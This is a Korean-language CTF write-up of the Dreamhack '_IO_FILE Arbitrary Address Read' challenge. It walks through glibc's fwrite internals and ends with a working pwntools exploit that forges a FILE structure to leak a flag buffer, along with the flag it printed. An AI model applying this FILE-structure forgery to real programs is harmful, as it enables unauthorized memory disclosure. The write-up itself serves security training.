콘텐츠로 건너뛰기

_IO_FILE Arbitrary Address Read

Description

Exploit Tech: _IO_FILE Arbitrary Address Read에서 실습하는 문제입니다.

checksec

seo@ubuntu:~/dreamhack/_IO_FILE_Arbitrary_Address_Read$ checksec ./iofile_aar
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/seo/dreamhack/_IO_FILE_Arbitrary_Address_Read/iofile_aar'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Decompiled-src

iofile_aar.c

// Name: iofile_aar
// gcc -o iofile_aar iofile_aar.c -no-pie

#include <stdio.h>
#include <unistd.h>
#include <string.h>

char flag_buf[1024];
FILE *fp;

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_flag() {
    FILE *fp;
    fp = fopen("/home/iofile_aar/flag", "r");
    fread(flag_buf, sizeof(char), sizeof(flag_buf), fp);
    fclose(fp);
}

int main() {
  const char *data = "TEST FILE!";

  init();
  read_flag();

  fp = fopen("/tmp/testfile", "w");

  printf("Data: ");

  read(0, fp, 300);

  fwrite(data, sizeof(char), sizeof(flag_buf), fp);
  fclose(fp);
}
  • read_flag() 함수에서 “/home/iofile_aar/flag” 파일을 읽고, 전역 변수인 flag_buf에 저장한다.
  • “/tmp/testfile” 파일을 쓰기 모드로 열고, 파일 포인터에 300 바이트 만큼의 값을 입력할 수 있다.
    이를 통해 _IO_FILE 구조체 조작이 가능하다.
  • 파일 포인터를 덮어쓴 후에는, “/tmp/testfile” 파일에 “TEST FILE!” 문자열을 작성한다.

Solution

파일을 읽고 쓰는 과정은 라이브러리 함수 내부에서 파일 구조체의 포인터와 값을 이용하는데,
이번에도 마찬가지로, 파일 구조체를 조작해서 임의의 주소에 쓸 수 있는 취약점에 대해 알아보자.

대표적으로, 파일 내용을 읽는 함수는 fread, fgets가 있고,
파일에 데이터를 쓰기 위한 함수로는 fwrite, fputs가 있다.

파일을 쓰는 함수들은 라이브러리 내부에서 _IO_sputn (_IO_new_file_xsputn)  함수를 호출한다.

fwrite 함수에 대해 살펴보면,

https://github.com/bminor/glibc/blob/glibc-2.27/stdio-common/putw.c#L20

#include <stdio.h>
#include <libio/iolibio.h>
#define fwrite(p, n, m, s) _IO_fwrite (p, n, m, s)

https://github.com/bminor/glibc/blob/glibc-2.27/libio/iofwrite.c#L30

_IO_size_t
_IO_fwrite (const void *buf, _IO_size_t size, _IO_size_t count, _IO_FILE *fp)
{
  _IO_size_t request = size * count;
  _IO_size_t written = 0;
  CHECK_FILE (fp, 0);
  if (request == 0)
    return 0;
  _IO_acquire_lock (fp);
  if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1)
    written = _IO_sputn (fp, (const char *) buf, request);
  _IO_release_lock (fp);
  /* We have written all of the input in case the return value indicates
     this or EOF is returned.  The latter is a special case where we
     simply did not manage to flush the buffer.  But the data is in the
     buffer and therefore written as far as fwrite is concerned.  */
  if (written == request || written == EOF)
    return count;
  else
    return written / size;
}
libc_hidden_def (_IO_fwrite)

https://github.com/bminor/glibc/blob/glibc-2.27/libio/libioP.h#L377

#define _IO_sputn(__fp, __s, __n) _IO_XSPUTN (__fp, __s, __n)

https://github.com/bminor/glibc/blob/glibc-2.27/libio/fileops.c#L1219

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

  if (n <= 0)
    return 0;
  /* This is an optimized implementation.
     If the amount to be written straddles a block boundary
     (or the filebuf is unbuffered), use sys_write directly. */

  /* First figure out how much space is available in the buffer. */
  if ((f->_flags & _IO_LINE_BUF) && (f->_flags & _IO_CURRENTLY_PUTTING))
    {
      count = f->_IO_buf_end - f->_IO_write_ptr;
      if (count >= n)
	{
	  const char *p;
	  for (p = s + n; p > s; )
	    {
	      if (*--p == '\n')
		{
		  count = p - s + 1;
		  must_flush = 1;
		  break;
		}
	    }
	}
    }
  else if (f->_IO_write_end > f->_IO_write_ptr)
    count = f->_IO_write_end - f->_IO_write_ptr; /* Space available. */

  /* Then fill the buffer. */
  if (count > 0)
    {
      if (count > to_do)
	count = to_do;
      f->_IO_write_ptr = __mempcpy (f->_IO_write_ptr, s, count);
      s += count;
      to_do -= count;
    }
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
	/* If nothing else has to be written we must not signal the
	   caller that everything has been written.  */
	return to_do == 0 ? EOF : n - to_do;

      /* Try to maintain alignment: write a whole number of blocks.  */
      block_size = f->_IO_buf_end - f->_IO_buf_base;
      do_write = to_do - (block_size >= 128 ? to_do % block_size : 0);

      if (do_write)
	{
	  count = new_do_write (f, s, do_write);
	  to_do -= count;
	  if (count < do_write)
	    return n - to_do;
	}

      /* Now write out the remainder.  Normally, this will fit in the
	 buffer, but it's somewhat messier for line-buffered files,
	 so we let _IO_default_xsputn handle the general case. */
      if (to_do)
	to_do -= _IO_default_xsputn (f, s+do_write, to_do);
    }
  return n - to_do;
}
libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)

fwrite → _IO_fwrite → _IO_sputn → _IO_XSPUTN → _IO_new_file_xsputn
이렇게 최종적으로 라이브러리 내부에서 _IO_new_file_xsputn 함수를 호출하는 것을 알 수 있다.

  • _IO_new_file_xsputn
_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
  const char *s = (const char *) data;
  _IO_size_t to_do = n;
  int must_flush = 0;
  _IO_size_t count = 0;

...
  if (to_do + must_flush > 0)
    {
      _IO_size_t block_size, do_write;
      /* Next flush the (full) buffer. */
      if (_IO_OVERFLOW (f, EOF) == EOF)
...
}

_IO_XSPUTN 함수의 매크로이며, 실제로는 _IO_new_file_xsputn 함수를 호출한다.

이 함수에서는 인자인 data와 size를 검사한 다음, _IO_OVERFLOW() → _IO_new_file_overflow 함수를 호출한다.

int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
  if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
    {
      f->_flags |= _IO_ERR_SEEN;
      __set_errno (EBADF);
      return EOF;
    }
  ...
  if (ch == EOF)
    return _IO_do_write (f, f->_IO_write_base,
			 f->_IO_write_ptr - f->_IO_write_base);
  ...
}

_IO_new_file_overflow 함수에서는 파일 포인터의 _flags 변수에 쓰기 권한이 부여되있는지 확인하고,
해당 함수의 인자로 전달된 ch가 EOF(= -1)이라면 _IO_do_write (_IO_new_do_write) 함수를 호출한다.

_IO_size_t
_IO_new_file_xsputn (_IO_FILE *f, const void *data, _IO_size_t n)
{
...
      if (_IO_OVERFLOW (f, EOF) == EOF)
...
}

_IO_new_file_overflow()를 호출할 때 인자로 EOF를 전달하므로 
_IO_do_write (_IO_new_do_write) 함수가 호출된다는 것을 알 수 있다.

int
_IO_new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  return (to_do == 0
	  || (_IO_size_t) new_do_write (fp, data, to_do) == to_do) ? 0 : EOF;
}

_IO_new_do_write 함수가 호출될 때 전달되는 인자를 보면,
파일 구조체의 멤버 변수, fp가 들어감을 알 수 있다.

static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
  _IO_size_t count;
  if (fp->_flags & _IO_IS_APPENDING)
    /* On a system without a proper O_APPEND implementation,
       you would need to sys_seek(0, SEEK_END) here, but is
       not needed nor desirable for Unix- or Posix-like systems.
       Instead, just indicate that offset (before and after) is
       unpredictable. */
    fp->_offset = _IO_pos_BAD;
  else if (fp->_IO_read_end != fp->_IO_write_base)
    {
      _IO_off64_t new_pos
	= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
      if (new_pos == _IO_pos_BAD)
	return 0;
      fp->_offset = new_pos;
    }
  count = _IO_SYSWRITE (fp, data, to_do);
  if (fp->_cur_column && count)
    fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
  _IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
  fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
  fp->_IO_write_end = (fp->_mode <= 0
		       && (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
		       ? fp->_IO_buf_base : fp->_IO_buf_end);
  return count;
}

_IO_do_write 함수는 내부적으로 new_do_write 함수를 호출한다.

하나씩 살펴보면…

if (fp->_flags & _IO_IS_APPENDING)

파일 쓰기에 앞서 파일 포인터의 _flags 와 _IO_IS_APPENDING 플래그가 포함되어있는지 확인한다.

count = _IO_SYSWRITE (fp, data, to_do);

다음으로 new_do_write 함수의 인자인 fp와 data, 그리고 to_do를 인자로 _IO_SYSWRITE 함수를 호출하는데,
이는 vtable의 _IO_new_file_write 함수를 호출한다.

_IO_ssize_t
_IO_new_file_write (_IO_FILE *f, const void *data, _IO_ssize_t n)
{
  _IO_ssize_t to_do = n;
  while (to_do > 0)
    {
      _IO_ssize_t count = (__builtin_expect (f->_flags2
					     & _IO_FLAGS2_NOTCANCEL, 0)
			   ? __write_nocancel (f->_fileno, data, to_do)
			   : __write (f->_fileno, data, to_do));
      if (count < 0)
	{
	  f->_flags |= _IO_ERR_SEEN;
	  break;
	}
      to_do -= count;
      data = (void *) ((char *) data + count);
    }
  n -= to_do;
  if (f->_offset >= 0)
    f->_offset += n;
  return n;
}

_IO_new_file_write 함수에서는 write 시스템 콜을 통해 파일에 데이터를 작성한다.
시스템 콜의 인자로 파일 구조체에서 파일 디스크립터를 나타내는 _fileno_IO_write_base인 data,
그리고 _IO_new_file_overflow을 참고하면 _IO_write_ptr - _IO_write_base로 연산된 to_do 변수가 전달된다.

즉, 파일 구조체의 _flags , _fileno_IO_write_ptr_IO_write_base 를 조작할 수 있다면, IO Arbitrary Read로 메모리를 읽을 수 있다.

write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);

write 시스템 콜을 호출할 때, 위와 같이 실행되는데,

정상적인 동작이라면, _IO_write_base 를 기점으로 _IO_write_ptr - _IO_write_base 크기만큼 쓰기를 수행한다.

즉, _fileno를 stdout으로 조작하고 _IO_write_base 에 읽을 주소를 저장 후 _IO_write_ptr 을 “읽을 크기만큼 더한 값”을 저장하면 임의의 주소를 읽을 수 있다!


이제 fwrite 함수에서 참조하는 파일 구조체를 조작해서 flag_buf에 저장된 flag를 읽어보자.

Breakpoint 1, 0x00000000004007df in main ()
gdb-peda$ p *(FILE *)$rax
$1 = {
  _flags = 0xfbad2484,
  _IO_read_ptr = 0x0,
  _IO_read_end = 0x0,
  _IO_read_base = 0x0,
  _IO_write_base = 0x0,
  _IO_write_ptr = 0x0,
  _IO_write_end = 0x0,
  _IO_buf_base = 0x0,
  _IO_buf_end = 0x0,
  _IO_save_base = 0x0,
  _IO_backup_base = 0x0,
  _IO_save_end = 0x0,
  _markers = 0x0,
  _chain = 0x7ffff7dd0680 <_IO_2_1_stderr_>,
  _fileno = 0x3,
  _flags2 = 0x0,
  _old_offset = 0x0,
  _cur_column = 0x0,
  _vtable_offset = 0x0,
  _shortbuf = "",
  _lock = 0x602340,
  _offset = 0xffffffffffffffff,
  _codecvt = 0x0,
  _wide_data = 0x602350,
  _freeres_list = 0x0,
  _freeres_buf = 0x0,
  __pad5 = 0x0,
  _mode = 0x0,
  _unused2 = '\000' <repeats 19 times>
}

fopen(“/tmp/testfile”, “w”);한 직후의 FILE 구조체를 살펴보면 위와 같다.

write(f->_fileno, _IO_write_base, _IO_write_ptr – _IO_write_base);

위에서 언급했던 것처럼 _IO_new_file_write() 에서 write 시스템 콜을 호출되기 때문에,
fp를 조작할 수 있으므로 write 시스템 콜을 통해 flag_buf를 읽게 만들면 된다.

먼저, _flags 검증을 우회하기위해 _flags_IO_MAGIC과 _IO_IS_APPENDING 비트를 포함한 값으로 덮어쓴다.

다음으로 flag_buf를 출력하기 위해 _IO_write_base와 _IO_write_ptr을 각각 flag_buf 주소와 flag_buf + 300 주소를 입력한다.

마지막으로 _fileno를 stdout으로 조작하여 flag_buf를 출력시킨다.
그 외 나머지 변수들은 0을 입력해야되는데, 이러한 이유는 new_do_write 함수에서 lseek 시스템 콜이 호출될 수 있기 때문이다.

solve.py

from pwn import *
#context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = remote("host3.dreamhack.games", 17606)
#p = process("./iofile_aar")
e = ELF('./iofile_aar', checksec=False)
libc = ELF('./libc.so.6', checksec=False)

flag_buf = e.symbols['flag_buf']

#write(f->_fileno, _IO_write_base, _IO_write_ptr - _IO_write_base);
#write(stdout, flag_buf, 500);
payload = p64(0xfbad0000 | 0x800)	#_flags (_IO_MAGIC | _IO_IS_APPENDING)
payload += p64(0)	#_IO_read_ptr
payload += p64(flag_buf)	#_IO_read_end
payload += p64(0)	#_IO_read_base
payload += p64(flag_buf)	#_IO_write_base
payload += p64(flag_buf+500)	#_IO_write_ptr
payload += p64(0)	#_IO_write_end
payload += p64(0)	#_IO_buf_base
payload += p64(0)	#_IO_buf_end
payload += p64(0)	#_IO_save_base
payload += p64(0)	#_IO_backup_base
payload += p64(0)	#_IO_save_end
payload += p64(0)	#_markers
payload += p64(0)	#_chain
payload += p64(1)	#_fileno (stdout)

p.sendlineafter(b"Data: ", payload)

p.interactive()

Result

seohyun-gyu@MacBook-Pro > ~/Desktop/dreamhack/_IO_FILE_Arbitrary_Address_Read > 
python3 solve.py
[+] Opening connection to host3.dreamhack.games on port 17606: Done
[*] Switching to interactive mode
DH{395880f6942dff77f2a9ee1e47546825a0f0a4865b706aa6ca44bdcd4f5c7eac}
\x00...[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to host3.dreamhack.games port 17606

Reference

https://keyme2003.tistory.com/entry/dreamhack-IOFILE-Arbitrary-Address-Read

태그:

답글 남기기